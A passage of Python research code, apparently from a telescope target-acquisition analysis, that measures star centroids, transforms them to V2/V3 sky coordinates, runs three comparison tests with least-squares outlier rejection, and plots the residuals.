(\"Star, BG, x23, y23, x25, y25, x27, y27, LoLeftP2 (x, y), TrueP2 (x, y)\")\n print (stars_sample[0], bg_choice, x23[0], y23[0], x25[0], y25[0], x27[0], y27[0], bench_xLP2[0], bench_yLP2[0], bench_xP2[0], bench_yP2[0])\n raw_input(\" * press enter to continue... \\n\")\n\n # show positions on screen\n line0 = \"\\n Centroid indexing starting at 1 !\"\n line0a = \"{:<5} {:<15} {:<16} {:>23} {:>30} {:>44} {:>17} {:>15}\".format(\"Star\", \"Background\",\n \"Centroid windows: 3\", \"5\", \"7\",\n \"TruePositions\", \"LoLeftCoords\",\n \"Mag\")\n line0b = \"{:>25} {:>12} {:>16} {:>14} {:>16} {:>14} {:>16} {:>18} {:>12} {:>10}\".format(\n \"x\", \"y\", \"x\", \"y\", \"x\", \"y\",\n \"TrueX\", \"TrueY\", \"LoLeftX\", \"LoLeftY\")\n print (\"Analyzing case: \", case)\n print (line0)\n print (line0a)\n print (line0b)\n for i, st in enumerate(stars_sample):\n line1 = \"{:<5} {:<10} {:<14} {:<16} {:<14} {:<16} {:<14} {:<16} {:<14} {:<16} {:<8} {:<12} {:<10.2f}\".format(\n int(st), background2use,\n x13[i], y13[i], x15[i], y15[i], x17[i], y17[i],\n bench_xP1[i]-bench_xLP1[i], bench_yP1[i]-bench_yLP1[i],\n bench_xLP1[i], bench_yLP1[i],\n magnitudes[i])\n print (line1)\n\n # compact results for functions\n P1P2data = [x13,y13, x23,y23, x15,y15, x25,y25, x17,y17, x27,y27]\n\n #plot_pixpos = True\n if plot_pixpos:\n # plot of sample residual x and y for positions 1 and 2\n fig1 = plt.figure(1, figsize=(12, 10))\n ax1 = fig1.add_subplot(111)\n #plt.suptitle(plot_title, fontsize=18, y=0.96)\n plt.title(case)\n plt.xlabel('X Residuals [Pixels]')\n plt.ylabel('Y Residuals [Pixels]')\n arrx, arry = x17-bench_xP1, y17-bench_yP1\n xP1 = [min(arrx)+min(arrx)*0.5, max(arrx)+max(arrx)*0.5]\n yP1 = [min(arry)+min(arry)*0.5, max(arry)+max(arry)*0.5]\n arrx, arry = x27-bench_xP2, y27-bench_yP2\n xP2 = [min(arrx)+min(arrx)*0.5, max(arrx)+max(arrx)*0.5]\n yP2 = [min(arry)+min(arry)*0.5, max(arry)+max(arry)*0.5]\n # determine qhich limit is larger in P1\n if xP1[1] > yP1[1]:\n larP1 = xP1[1]\n else:\n larP1 = yP1[1]\n if xP2[1] > yP2[1]:\n larP2 = xP2[1]\n else:\n larP2 = yP2[1]\n if larP1 > larP2:\n uplim = larP1\n lolim = -1 * larP1\n else:\n uplim = larP2\n lolim = -1 * larP2\n plt.xlim(lolim, uplim)\n plt.ylim(lolim, uplim)\n plt.hlines(0.0, lolim, uplim, colors='k', linestyles='dashed')\n plt.vlines(0.0, lolim, uplim, colors='k', linestyles='dashed')\n # plot measured positions\n plt.plot(x13-bench_xP1, y13-bench_yP1, 'b^', ms=10, alpha=0.5, label='CentroidWindow3_P1')\n plt.plot(x15-bench_xP1, y15-bench_yP1, 'go', ms=10, alpha=0.5, label='CentroidWindow5_P1')\n plt.plot(x17-bench_xP1, y17-bench_yP1, 'r*', ms=13, alpha=0.5, label='CentroidWindow7_P1')\n plt.plot(x23-bench_xP2, y23-bench_yP2, 'c^', ms=10, alpha=0.5, label='CentroidWindow3_P2')\n plt.plot(x25-bench_xP2, y25-bench_yP2, 'yo', ms=10, alpha=0.5, label='CentroidWindow5_P2')\n plt.plot(x27-bench_xP2, y27-bench_yP2, 'm*', ms=13, alpha=0.5, label='CentroidWindow7_P2')\n # Shrink current axis by 20%\n box = ax1.get_position()\n ax1.set_position([box.x0, box.y0, box.width * 0.8, box.height])\n ax1.legend(loc='center left', bbox_to_anchor=(1, 0.5)) # put legend out of the plot box\n y_reject = [-1.0, 1.0]\n x_reject = [-1.0, 1.0]\n for si, xi, yi in zip(stars_sample, x13-bench_xP1, y13-bench_yP1):\n #if yi >= y_reject[1] or yi <= y_reject[0] or xi >= x_reject[1] or xi <= x_reject[0]:\n si = int(si)\n subxcoord = 5\n subycoord = 0\n side = 'left'\n plt.annotate('{}'.format(si), xy=(xi,yi), xytext=(subxcoord, subycoord), ha=side, textcoords='offset points')\n for si, xi, yi in zip(stars_sample, x23-bench_xP2, y23-bench_yP2):\n #if yi >= y_reject[1] or yi <= y_reject[0] or xi >= x_reject[1] or xi <= x_reject[0]:\n si = int(si)\n subxcoord = 5\n subycoord = 0\n side = 'left'\n plt.annotate('{}'.format(si), xy=(xi,yi), xytext=(subxcoord, subycoord), ha=side, textcoords='offset points')\n plt.show()\n return bg_choice, P1P2data, bench_starP1, benchmark_V2V3_sampleP1P2\n\n\ndef transformAndRunTest(stars_sample, path4results, primary_params, secondary_params,\n bg_choice, P1P2data, bench_starP1, benchmark_V2V3_sampleP1P2, plot_v2v3pos=True,\n extra_string=None):\n '''\n This function converts to sky for the X random star sample, and performs the given test.\n\n Args:\n primary_params: list, set of parameters specific to the case\n secondary_params: list, set of generic parameters\n bg_choice: string of the background method used\n P1P2data: list of pixel positions for centroid windows 3, 5, and 7 for both positions,\n P1P2data = [x13,y13, x23,y23, x15,y15, x25,y25, x17,y17, x27,y27]\n bench_starP1: list of the benchmark stars studied\n benchmark_V2V3_sampleP1P2: list of benchmark V2s and V3s,\n benchmark_V2V3_sampleP1P2 = [bench_V2P1, bench_V3P1, bench_V2P2, bench_V3P2]\n\n Returns:\n case = string, string, for example 'Scene2_rapid_real_bgFrac'\n Tbench_Vs_list = list of benchmark V2 and V3s\n T_Vs = list of measured V2 and V3s\n T_diffVs = list of true-measured V2s and V3s\n LS_res = list, std deviations and means from least squared routine\n '''\n\n # unfold variables\n primary_params1, primary_params2, primary_params3 = primary_params\n do_plots, save_plots, show_plots, detector, output_full_detector, show_onscreen_results, show_pixpos_and_v23_plots, save_text_file = primary_params1\n save_centroid_disp, keep_bad_stars, keep_ugly_stars, just_least_sqares, stars_in_sample, scene, background_method, background2use = primary_params2\n shutters, noise, filter_input, test2perform, Nsigma, abs_threshold, abs_threshold, min_elements, max_iters_Nsig = primary_params3\n secondary_params1, secondary_params2, secondary_params3 = secondary_params\n checkbox_size, xwidth_list, ywidth_list, vlim, threshold, max_iter, verbose = secondary_params1\n debug, arcsecs, determine_moments, display_master_img, show_centroids, show_disp = secondary_params2\n Pier_corr, tilt, backgnd_subtraction_method, random_sample = secondary_params3\n bench_V2P1, bench_V3P1, bench_V2P2, bench_V3P2 = benchmark_V2V3_sampleP1P2\n trueVsP1 = [bench_V2P1, bench_V3P1]\n trueVsP2 = [bench_V2P2, bench_V3P2]\n\n # transform into sky coordinates\n #case2study = [scene, shutters, noise, bg_choice]\n if type(detector) is not str:\n det = repr(detector)\n else:\n det = '2Dets'\n case = det+\"Scene\"+str(scene)+\"_\"+shutters+\"_\"+noise+bg_choice+repr(background2use)+'_Nsigma'+repr(Nsigma)\n if extra_string is not None:\n case += extra_string\n\n # Now run the tests\n transf_direction = \"forward\"\n detectors = [491, 492]\n # TEST 1: (a) Avg P1 and P2, (b) transform to V2-V3, (c) compare to avg reference positions (V2-V3 space)\n if test2perform == \"T1\":\n resultsTEST1 = TAf.runTEST(test2perform, detectors, transf_direction, case, stars_sample, P1P2data, bench_starP1,\n trueVsP1, trueVsP2, filter_input, tilt, arcsecs, debug)\n T1P1P2data, T1_transformations, T1_diffs, T1_benchVs_list = resultsTEST1\n T1_V2_3, T1_V3_3, T1_V2_5, T1_V3_5, T1_V2_7, T1_V3_7 = T1_transformations\n T1_diffV2_3, T1_diffV3_3, T1_diffV2_5, T1_diffV3_5, T1_diffV2_7, T1_diffV3_7 = T1_diffs\n T1bench_V2_list, T1bench_V3_list = T1_benchVs_list\n # Get the statistics\n results_stats = TAf.get_stats(T1_transformations, T1_diffs, T1_benchVs_list, Nsigma, max_iters_Nsig,\n arcsecs, just_least_sqares, abs_threshold, min_elements)\n # unfold results\n T1_st_devsAndMeans, T1_diff_counter, T1_bench_values, T1_sigmas_deltas, T1_sigma_reject, rejected_elementsLS, rejected_eleNsig, iterations = results_stats\n T1stdev_V2_3, T1mean_V2_3, T1stdev_V2_5, T1mean_V2_5, T1stdev_V2_7, T1mean_V2_7, T1stdev_V3_3, T1mean_V3_3, T1stdev_V3_5, T1mean_V3_5, T1stdev_V3_7, T1mean_V3_7 = T1_st_devsAndMeans\n T1_min_diff, T1_counter = T1_diff_counter\n T1LSdeltas_3, T1LSsigmas_3, T1LSlines2print_3, T1LSdeltas_5, T1LSsigmas_5, T1LSlines2print_5, T1LSdeltas_7, T1LSsigmas_7, T1LSlines2print_7 = T1_sigmas_deltas\n T1sigmaV2_3, T1meanV2_3, T1sigmaV3_3, T1meanV3_3, T1newV2_3, T1newV3_3, T1niter_3, T1lines2print_3, T1sigmaV2_5, T1meanV2_5, T1sigmaV3_5, T1meanV3_5, T1newV2_5, T1newV3_5, T1niter_5, T1lines2print_5, T1sigmaV2_7, T1meanV2_7, T1sigmaV3_7, T1meanV3_7, T1newV2_7, T1newV3_7, T1niter_7, T1lines2print_7 = T1_sigma_reject\n\n # TEST 2: (a) Transform individual P1 and P2 to V2-V3, (b) avg V2-V3 space positions, (c) compare to avg reference positions\n if test2perform == \"T2\":\n resultsTEST2 = TAf.runTEST(test2perform, detectors, transf_direction, case, stars_sample, P1P2data, bench_starP1,\n trueVsP1, trueVsP2, filter_input, tilt, arcsecs, debug)\n T2P1P2data, T2_transformations, T2_diffs, T2_benchVs_list = resultsTEST2\n T2_V2_3, T2_V3_3, T2_V2_5, T2_V3_5, T2_V2_7, T2_V3_7 = T2_transformations\n T2_diffV2_3, T2_diffV3_3, T2_diffV2_5, T2_diffV3_5, T2_diffV2_7, T2_diffV3_7 = T2_diffs\n T2bench_V2_list, T2bench_V3_list = T2_benchVs_list\n # Get the statistics\n results_stats = TAf.get_stats(T2_transformations, T2_diffs, T2_benchVs_list, Nsigma, max_iters_Nsig,\n arcsecs, just_least_sqares, abs_threshold, min_elements)\n # unfold results\n T2_st_devsAndMeans, T2_diff_counter, T2_bench_values, T2_sigmas_deltas, T2_sigma_reject, rejected_elementsLS, rejected_eleNsig, iterations = results_stats\n T2stdev_V2_3, T2mean_V2_3, T2stdev_V2_5, T2mean_V2_5, T2stdev_V2_7, T2mean_V2_7, T2stdev_V3_3, T2mean_V3_3, T2stdev_V3_5, T2mean_V3_5, T2stdev_V3_7, T2mean_V3_7 = T2_st_devsAndMeans\n T2_min_diff, T2_counter = T2_diff_counter\n T2LSdeltas_3, T2LSsigmas_3, T2LSlines2print_3, T2LSdeltas_5, T2LSsigmas_5, T2LSlines2print_5, T2LSdeltas_7, T2LSsigmas_7, T2LSlines2print_7 = T2_sigmas_deltas\n T2sigmaV2_3, T2meanV2_3, T2sigmaV3_3, T2meanV3_3, T2newV2_3, T2newV3_3, T2niter_3, T2lines2print_3, T2sigmaV2_5, T2meanV2_5, T2sigmaV3_5, T2meanV3_5, T2newV2_5, T2newV3_5, T2niter_5, T2lines2print_5, T2sigmaV2_7, T2meanV2_7, T2sigmaV3_7, T2meanV3_7, T2newV2_7, T2newV3_7, T2niter_7, T2lines2print_7 = T2_sigma_reject\n\n # TEST 3: (a) Transform P1 and P2 individually to V2-V3 (b) compare star by star and position by position\n if test2perform == \"T3\":\n resultsTEST3 = TAf.runTEST(test2perform, detectors, transf_direction, case, stars_sample, P1P2data, bench_starP1,\n trueVsP1, trueVsP2, filter_input, tilt, arcsecs, debug)\n T3P1P2data, T3_transformations, T3_diffs, T3_benchVs_list = resultsTEST3\n x13,y13, x23,y23, x15,y15, x25,y25, x17,y17, x27,y27 = T3P1P2data\n T_V2_3, T_V3_3, T_V2_5, T_V3_5, T_V2_7, T_V3_7 = T3_transformations\n T3_V2_13, T3_V2_23 = T_V2_3\n T3_V3_13, T3_V3_23 = T_V3_3\n T3_V2_15, T3_V2_25 = T_V2_5\n T3_V3_15, T3_V3_25 = T_V3_5\n T3_V2_17, T3_V2_27 = T_V2_7\n T3_V3_17, T3_V3_27 = T_V3_7\n T_diffV2_3, T_diffV3_3, T_diffV2_5, T_diffV3_5, T_diffV2_7, T_diffV3_7 = T3_diffs\n T3_diffV2_13, T3_diffV2_23 = T_diffV2_3\n T3_diffV3_13, T3_diffV3_23 = T_diffV3_3\n T3_diffV2_15, T3_diffV2_25 = T_diffV2_5\n T3_diffV3_15, T3_diffV3_25 = T_diffV3_5\n T3_diffV2_17, T3_diffV2_27 = T_diffV2_7\n T3_diffV3_17, T3_diffV3_27 = T_diffV3_7\n T3bench_V2_list, T3bench_V3_list = T3_benchVs_list\n T3bench_V2_listP1, T3bench_V2_listP2 = T3bench_V2_list\n T3bench_V3_listP1, T3bench_V3_listP2 = T3bench_V3_list\n # combine the arrays (positions 1 and 2)\n T3_V2_3, T3_V2_5, T3_V2_7 = np.array([]), np.array([]), np.array([])\n T3_V2_3 = TAf.combine2arrays(T3_V2_13, T3_V2_23, T3_V2_3)\n T3_V2_5 = TAf.combine2arrays(T3_V2_15, T3_V2_25, T3_V2_5)\n T3_V2_7 = TAf.combine2arrays(T3_V2_17, T3_V2_27, T3_V2_7)\n T3_V3_3, T3_V3_5, T3_V3_7 = np.array([]), np.array([]), np.array([])\n T3_V3_3 = TAf.combine2arrays(T3_V3_13, T3_V3_23, T3_V3_3)\n T3_V3_5 = TAf.combine2arrays(T3_V3_15, T3_V3_25, T3_V3_5)\n T3_V3_7 = TAf.combine2arrays(T3_V3_17, T3_V3_27, T3_V3_7)\n T3_diffV2_3, T3_diffV2_5, T3_diffV2_7 = np.array([]), np.array([]), np.array([])\n T3_diffV2_3 = TAf.combine2arrays(T3_diffV2_13, T3_diffV2_23, T3_diffV2_3)\n T3_diffV2_5 = TAf.combine2arrays(T3_diffV2_15, T3_diffV2_25, T3_diffV2_5)\n T3_diffV2_7 = TAf.combine2arrays(T3_diffV2_17, T3_diffV2_27, T3_diffV2_7)\n T3_diffV3_3, T3_diffV3_5, T3_diffV3_7 = np.array([]), np.array([]), np.array([])\n T3_diffV3_3 = TAf.combine2arrays(T3_diffV3_13, T3_diffV3_23, T3_diffV3_3)\n T3_diffV3_5 = TAf.combine2arrays(T3_diffV3_15, T3_diffV3_25, T3_diffV3_5)\n T3_diffV3_7 = TAf.combine2arrays(T3_diffV3_17, T3_diffV3_27, T3_diffV3_7)\n T3bench_V2_list, T3bench_V3_list = np.array([]), np.array([])\n T3bench_V2_list = TAf.combine2arrays(np.array(T3bench_V2_listP1), np.array(T3bench_V2_listP2), T3bench_V2_list)\n T3bench_V3_list = TAf.combine2arrays(np.array(T3bench_V3_listP1), np.array(T3bench_V3_listP2), T3bench_V3_list)\n T3bench_V2_list.tolist()\n T3bench_V3_list.tolist()\n # Get the statistics\n T3_transformations = [T3_V2_3, T3_V3_3, T3_V2_5, T3_V3_5, T3_V2_7, T3_V3_7]\n T3_diffs = [T3_diffV2_3, T3_diffV3_3, T3_diffV2_5, T3_diffV3_5, T3_diffV2_7, T3_diffV3_7]\n T3_benchVs_list = [T3bench_V2_list, T3bench_V3_list]\n results_stats = TAf.get_stats(T3_transformations, T3_diffs, T3_benchVs_list, Nsigma, max_iters_Nsig,\n arcsecs, just_least_sqares, abs_threshold, min_elements)\n # unfold results\n T3_st_devsAndMeans, T3_diff_counter, T3_bench_values, T3_sigmas_deltas, T3_sigma_reject, rejected_elementsLS, rejected_eleNsig, iterations = results_stats\n T3stdev_V2_3, T3mean_V2_3, T3stdev_V2_5, T3mean_V2_5, T3stdev_V2_7, T3mean_V2_7, T3stdev_V3_3, T3mean_V3_3, T3stdev_V3_5, T3mean_V3_5, T3stdev_V3_7, T3mean_V3_7 = T3_st_devsAndMeans\n T3_min_diff, T3_counter = T3_diff_counter\n T3LSdeltas_3, T3LSsigmas_3, T3LSlines2print_3, T3LSdeltas_5, T3LSsigmas_5, T3LSlines2print_5, T3LSdeltas_7, T3LSsigmas_7, T3LSlines2print_7 = T3_sigmas_deltas\n T3sigmaV2_3, T3meanV2_3, T3sigmaV3_3, T3meanV3_3, T3newV2_3, T3newV3_3, T3niter_3, T3lines2print_3, T3sigmaV2_5, T3meanV2_5, T3sigmaV3_5, T3meanV3_5, T3newV2_5, T3newV3_5, T3niter_5, T3lines2print_5, T3sigmaV2_7, T3meanV2_7, T3sigmaV3_7, T3meanV3_7, T3newV2_7, T3newV3_7, T3niter_7, T3lines2print_7 = T3_sigma_reject\n\n #plot_v2v3pos = True\n if plot_v2v3pos:\n # plot of sample residual V2 and V3 for positions 1 and 2 for test 3\n fig1 = plt.figure(1, figsize=(12, 10))\n ax1 = fig1.add_subplot(111)\n #plt.suptitle(plot_title, fontsize=18, y=0.96)\n plt.title(case)\n plt.xlabel('V2 Residuals [arcsec]')\n plt.ylabel('V3 Residuals [arcsec]')\n #xlims = [-5.0, 5.0]\n #ylims = [-5.0, 5.0]\n #plt.xlim(xlims[0], xlims[1])\n #plt.ylim(ylims[0], ylims[1])\n #plt.hlines(0.0, xlims[0], xlims[1], colors='k', linestyles='dashed')\n #plt.vlines(0.0, ylims[0], ylims[1], colors='k', linestyles='dashed')\n arrx, arry = T3_diffV2_17, T3_diffV3_17\n xP1 = [min(arrx)+min(arrx)*0.5, max(arrx)+max(arrx)*0.5]\n yP1 = [min(arry)+min(arry)*0.5, max(arry)+max(arry)*0.5]\n arrx, arry = T3_diffV2_27, T3_diffV3_27\n xP2 = [min(arrx)+min(arrx)*0.5, max(arrx)+max(arrx)*0.5]\n yP2 = [min(arry)+min(arry)*0.5, max(arry)+max(arry)*0.5]\n # determine qhich limit is larger in P1\n if xP1[1] > yP1[1]:\n larP1 = xP1[1]\n else:\n larP1 = yP1[1]\n if xP2[1] > yP2[1]:\n larP2 = xP2[1]\n else:\n larP2 = yP2[1]\n if larP1 > larP2:\n uplim = larP1\n lolim = -1 * larP1\n else:\n uplim = larP2\n lolim = -1 * larP2\n plt.xlim(lolim, uplim)\n plt.ylim(lolim, uplim)\n plt.hlines(0.0, lolim, uplim, colors='k', linestyles='dashed')\n plt.vlines(0.0, lolim, uplim, colors='k', linestyles='dashed')\n # plot measured positions\n plt.plot(T3_diffV2_13, T3_diffV3_13, 'b^', ms=10, alpha=0.5, label='CentroidWindow3_P1')\n plt.plot(T3_diffV2_15, T3_diffV3_15, 'go', ms=10, alpha=0.5, label='CentroidWindow5_P1')\n plt.plot(T3_diffV2_17, T3_diffV3_17, 'r*', ms=13, alpha=0.5, label='CentroidWindow7_P1')\n plt.plot(T3_diffV2_23, T3_diffV3_23, 'c^', ms=10, alpha=0.5, label='CentroidWindow3_P2')\n plt.plot(T3_diffV2_25, T3_diffV3_25, 'yo', ms=10, alpha=0.5, label='CentroidWindow5_P2')\n plt.plot(T3_diffV2_27, T3_diffV3_27, 'm*', ms=13, alpha=0.5, label='CentroidWindow7_P2')\n # Shrink current axis by 20%\n box = ax1.get_position()\n ax1.set_position([box.x0, box.y0, box.width * 0.8, box.height])\n ax1.legend(loc='center left', bbox_to_anchor=(1, 0.5)) # put legend out of the plot box\n x_reject, y_reject = [-1.0, 1.0], [-1.0, 1.0]\n for si, xi, yi in zip(stars_sample, T3_diffV2_13, T3_diffV3_13):\n #if yi >= y_reject[1] or yi <= y_reject[0] or xi >= x_reject[1] or xi <= x_reject[0]:\n si = int(si)\n subxcoord, subycoord = 5, 0\n side = 'left'\n plt.annotate('{}'.format(si), xy=(xi,yi), xytext=(subxcoord, subycoord), ha=side, textcoords='offset points')\n for si, xi, yi in zip(stars_sample, T3_diffV2_23, T3_diffV3_23):\n #if yi >= y_reject[1] or yi <= y_reject[0] or xi >= x_reject[1] or xi <= x_reject[0]:\n si = int(si)\n subxcoord, subycoord = 5, 0\n side = 'left'\n plt.annotate('{}'.format(si), xy=(xi,yi), xytext=(subxcoord, subycoord), ha=side, textcoords='offset points')\n plt.show()\n\n # Print results to screen and save into a text file if told so\n if test2perform == \"T1\":\n Tstdev_Vs = [T1stdev_V2_3, T1stdev_V3_3, T1stdev_V2_5, T1stdev_V3_5, T1stdev_V2_7, T1stdev_V3_7]\n Tmean_Vs = [T1mean_V2_3, T1mean_V3_3, T1mean_V2_5, T1mean_V3_5, T1mean_V2_7, T1mean_V3_7]\n T_diff_counter = [T1_min_diff, T1_counter]\n TLSlines2print = [T1LSlines2print_3, T1LSlines2print_5, T1LSlines2print_7]\n Tlines2print = [T1lines2print_3, T1lines2print_5, T1lines2print_7]\n Tbench_Vs_list = [T1bench_V2_list, T1bench_V3_list]\n T_Vs = [T1_V2_3, T1_V3_3, T1_V2_5, T1_V3_5, T1_V2_7, T1_V3_7]\n T_diffVs = [T1_diffV2_3, T1_diffV3_3, T1_diffV2_5, T1_diffV3_5, T1_diffV2_7, T1_diffV3_7]\n LS_res = [T1LSsigmas_3, T1LSsigmas_5, T1LSsigmas_7, T1LSdeltas_3, T1LSdeltas_5, T1LSdeltas_7]\n\n if test2perform == \"T2\":\n Tstdev_Vs = [T2stdev_V2_3, T2stdev_V3_3, T2stdev_V2_5, T2stdev_V3_5, T2stdev_V2_7, T2stdev_V3_7]\n Tmean_Vs = [T2mean_V2_3, T2mean_V3_3, T2mean_V2_5, T2mean_V3_5, T2mean_V2_7, T2mean_V3_7]\n T_diff_counter = [T2_min_diff, T2_counter]\n TLSlines2print = [T2LSlines2print_3, T2LSlines2print_5, T2LSlines2print_7]\n Tlines2print = [T2lines2print_3, T2lines2print_5, T2lines2print_7]\n Tbench_Vs_list = [T2bench_V2_list, T2bench_V3_list]\n T_Vs = [T2_V2_3, T2_V3_3, T2_V2_5, T2_V3_5, T2_V2_7, T2_V3_7]\n T_diffVs = [T2_diffV2_3, T2_diffV3_3, T2_diffV2_5, T2_diffV3_5, T2_diffV2_7, T2_diffV3_7]\n LS_res = [T2LSsigmas_3, T2LSsigmas_5, T2LSsigmas_7, T2LSdeltas_3, T2LSdeltas_5, T2LSdeltas_7]\n\n if test2perform == \"T3\":\n Tstdev_Vs = [T3stdev_V2_3, T3stdev_V3_3, T3stdev_V2_5, T3stdev_V3_5, T3stdev_V2_7, T3stdev_V3_7]\n Tmean_Vs = [T3mean_V2_3, T3mean_V3_3, T3mean_V2_5, T3mean_V3_5, T3mean_V2_7, T3mean_V3_7]\n T_diff_counter = [T3_min_diff, T3_counter]\n TLSlines2print = [T3LSlines2print_3, T3LSlines2print_5, T3LSlines2print_7]\n Tlines2print = [T3lines2print_3, T3lines2print_5, T3lines2print_7]\n Tbench_Vs_list = [T3bench_V2_list, T3bench_V3_list]\n T_Vs = [T3_V2_3, T3_V3_3, T3_V2_5, T3_V3_5, T3_V2_7, T3_V3_7]\n T_diffVs = [T3_diffV2_3, T3_diffV3_3, T3_diffV2_5, T3_diffV3_5, T3_diffV2_7, T3_diffV3_7]\n LS_res = [T3LSsigmas_3, T3LSsigmas_5, T3LSsigmas_7, T3LSdeltas_3, T3LSdeltas_5, T3LSdeltas_7]\n\n LS_info = [iterations, rejected_elementsLS]\n\n if show_onscreen_results or save_text_file:\n TAf.printTESTresults(stars_sample, case, test2perform, arcsecs, Tstdev_Vs, Tmean_Vs, T_diff_counter,\n save_text_file, TLSlines2print, Tlines2print, Tbench_Vs_list, T_Vs, T_diffVs,\n rejected_elementsLS, rejected_eleNsig, background_method, background2use, path4results)\n\n TV2_3, TV3_3, Tbench_V2_3, Tbench_V3_3 = rid_rejected_elements(rejected_elementsLS[0],\n T_Vs[0], T_Vs[1],\n Tbench_Vs_list[0], Tbench_Vs_list[1])\n TV2_5, TV3_5, Tbench_V2_5, Tbench_V3_5 = rid_rejected_elements(rejected_elementsLS[1],\n T_Vs[2], T_Vs[3],\n Tbench_Vs_list[0], Tbench_Vs_list[1])\n TV2_7, TV3_7, Tbench_V2_7, Tbench_V3_7 = rid_rejected_elements(rejected_elementsLS[2],\n T_Vs[4], T_Vs[5],\n Tbench_Vs_list[0], Tbench_Vs_list[1])\n TdiffV2_3, TdiffV3_3, _, _ = rid_rejected_elements(rejected_elementsLS[0],\n T_diffVs[0], T_diffVs[1],\n Tbench_Vs_list[0], Tbench_Vs_list[1])\n TdiffV2_5, TdiffV3_5, _, _ = rid_rejected_elements(rejected_elementsLS[1],\n T_diffVs[2], T_diffVs[3],\n Tbench_Vs_list[0], Tbench_Vs_list[1])\n TdiffV2_7, TdiffV3_7, _, _ = rid_rejected_elements(rejected_elementsLS[2],\n T_diffVs[4], T_diffVs[5],\n Tbench_Vs_list[0], Tbench_Vs_list[1])\n\n Tbench_Vs = [Tbench_V2_3, Tbench_V3_3, Tbench_V2_5, Tbench_V3_5, Tbench_V2_7, Tbench_V3_7]\n T_Vs = [TV2_3, TV3_3, TV2_5, TV3_5, TV2_7, TV3_7]\n T_diffVs = [TdiffV2_3, TdiffV3_3, TdiffV2_5, TdiffV3_5, TdiffV2_7, TdiffV3_7]\n new_stars_sample = ridstars_LSrejection(stars_sample, LS_info)\n\n return case, new_stars_sample, Tbench_Vs, T_Vs, T_diffVs, LS_res, LS_info\n\n\ndef rid_rejected_elements(rejected_elementsLS, TV2, TV3, TrueV2, TrueV3):\n TV2_cwin, TV3_cwin, TrueV2_cwin, TrueV3_cwin = [], [], [], []\n for idx, tv in enumerate(TV2):\n if idx in rejected_elementsLS:\n\n continue\n else:\n TV2_cwin.append(tv)\n TV3_cwin.append(TV3[idx])\n TrueV2_cwin.append(TrueV2[idx])\n TrueV3_cwin.append(TrueV3[idx])\n return TV2_cwin, TV3_cwin, TrueV2_cwin, TrueV3_cwin\n\n\ndef ridstars_LSrejection(stars_sample, LS_info):\n # unfold variables\n _, rejected_elementsLS = LS_info\n # Create a new list with the elements not rejected by the least squares routine\n nw_stars_sample3, nw_stars_sample5, nw_stars_sample7 = [], [], []\n # append to the new lists for centroid window 3\n for i, st in enumerate(stars_sample):\n if i not in rejected_elementsLS[0]:\n nw_stars_sample3.append(st)\n if i not in rejected_elementsLS[1]:\n nw_stars_sample5.append(st)\n if i not in rejected_elementsLS[2]:\n nw_stars_sample7.append(st)\n new_stars_sample = [nw_stars_sample3, nw_stars_sample5, nw_stars_sample7]\n return new_stars_sample\n\n\ndef convert2milliarcsec(list2convert):\n for i, item in enumerate(list2convert):\n list2convert[i] = item * 1000.0\n return list2convert\n\n\ndef run_testXrandom_stars(stars_sample, primary_params, secondary_params, path4results, gen_path, extra_string):\n '''\n This is the function that coordinates all other functions within this script. It runs the script.\n Args:\n stars_sample: list of stars to analyze\n primary_params: list of 3 lists containing all variables in the primary parameters section\n secondary_params: list of 3 lists containing all variables in the secondary parameters section\n path4results: string of the path to place results\n gen_path: string of path to put plots and other resulting files\n extra_string: additional info added to name of text file with final V2 and V3\n\n Returns:\n results per window size = resulting V2 and V3, benchmark V2 and V3, the corresponding standard deviations,\n the rotation angle, the total number of stars removed as well as the corresponding\n star number, and the total number of iterations\n All of these results are in the following structure:\n results_of_test = [case, new_stars_sample, Tbench_Vs, T_Vs, T_diffVs, LS_res, LS_info] --> per TEST\n results_all_tests = [results_of_test, ...] --> can have only one list if only 1 test was ran\n '''\n\n # Unfold variables\n # primary parameters\n primary_params1, primary_params2, primary_params3 = primary_params\n do_plots, save_plots, show_plots, detector, output_full_detector, show_onscreen_results, show_pixpos_and_v23_plots, save_text_file = primary_params1\n save_centroid_disp, keep_bad_stars, keep_ugly_stars, just_least_sqares, stars_in_sample, scene, background_method, background2use = primary_params2\n shutters, noise, filter_input, test2perform, Nsigma, abs_threshold, abs_threshold, min_elements, max_iters_Nsig = primary_params3\n # secondary parameters\n secondary_params1, secondary_params2, secondary_params3 = secondary_params\n checkbox_size, xwidth_list, ywidth_list, vlim, threshold, max_iter, verbose = secondary_params1\n debug, arcsecs, determine_moments, display_master_img, show_centroids, show_disp = secondary_params2\n Pier_corr, tilt, backgnd_subtraction_method, random_sample = secondary_params3\n\n # Pool of stars to select from\n stars_detectors = range(1, 201) # default is for both detectors\n if detector == 491:\n stars_detectors = range(101, 201) # only detector 491\n elif detector == 492:\n stars_detectors = range(1, 101) # only detector 492\n\n # Loop over list_test2perform\n results_all_tests = []\n if test2perform == \"all\":\n list_test2perform = [\"T1\", \"T2\", \"T3\"]\n if not keep_bad_stars:\n # remove the bad stars and use the same sample for the 3 tests\n stars_sample = TAf.remove_bad_stars(scene, stars_sample, keep_ugly_stars, verbose)\n # but keep the sample stars list with length of desired number of stars\n while len(stars_sample) != stars_in_sample:\n random_star = random.choice(stars_detectors)\n stars_sample.append(random_star)\n stars_sample = list(set(stars_sample))\n # remove the bad stars\n stars_sample = TAf.remove_bad_stars(scene, stars_sample, keep_ugly_stars, verbose)\n keep_bad_stars = True\n else:\n list_test2perform = [test2perform]\n for test2perform in list_test2perform:\n print ('Starting analysis for TEST %s ...' % (test2perform))\n # RE-compact variables\n primary_params1 = [do_plots, save_plots, show_plots, detector, output_full_detector, show_onscreen_results,\n show_pixpos_and_v23_plots, save_text_file]\n primary_params2 = [save_centroid_disp, keep_bad_stars, keep_ugly_stars, just_least_sqares, stars_in_sample,\n scene, background_method, background2use]\n primary_params3 = [shutters, noise, filter_input, test2perform, Nsigma, abs_threshold, abs_threshold, min_elements,\n max_iters_Nsig]\n primary_params = [primary_params1, primary_params2, primary_params3]\n secondary_params1 = [checkbox_size, xwidth_list, ywidth_list, vlim, threshold, max_iter, verbose]\n secondary_params2 = [debug, arcsecs, determine_moments, display_master_img, show_centroids, show_disp]\n secondary_params3 = [Pier_corr, tilt, backgnd_subtraction_method, random_sample]\n secondary_params = [secondary_params1, secondary_params2, secondary_params3]\n # Get centroids AND sky positions according to Test\n case, new_stars_sample, Tbench_Vs, T_Vs, T_diffVs, LS_res, LS_info = runXrandomstars(stars_detectors,\n primary_params, secondary_params,\n stars_sample,\n path4results=path4results,\n extra_string=extra_string)\n results_of_test = [case, 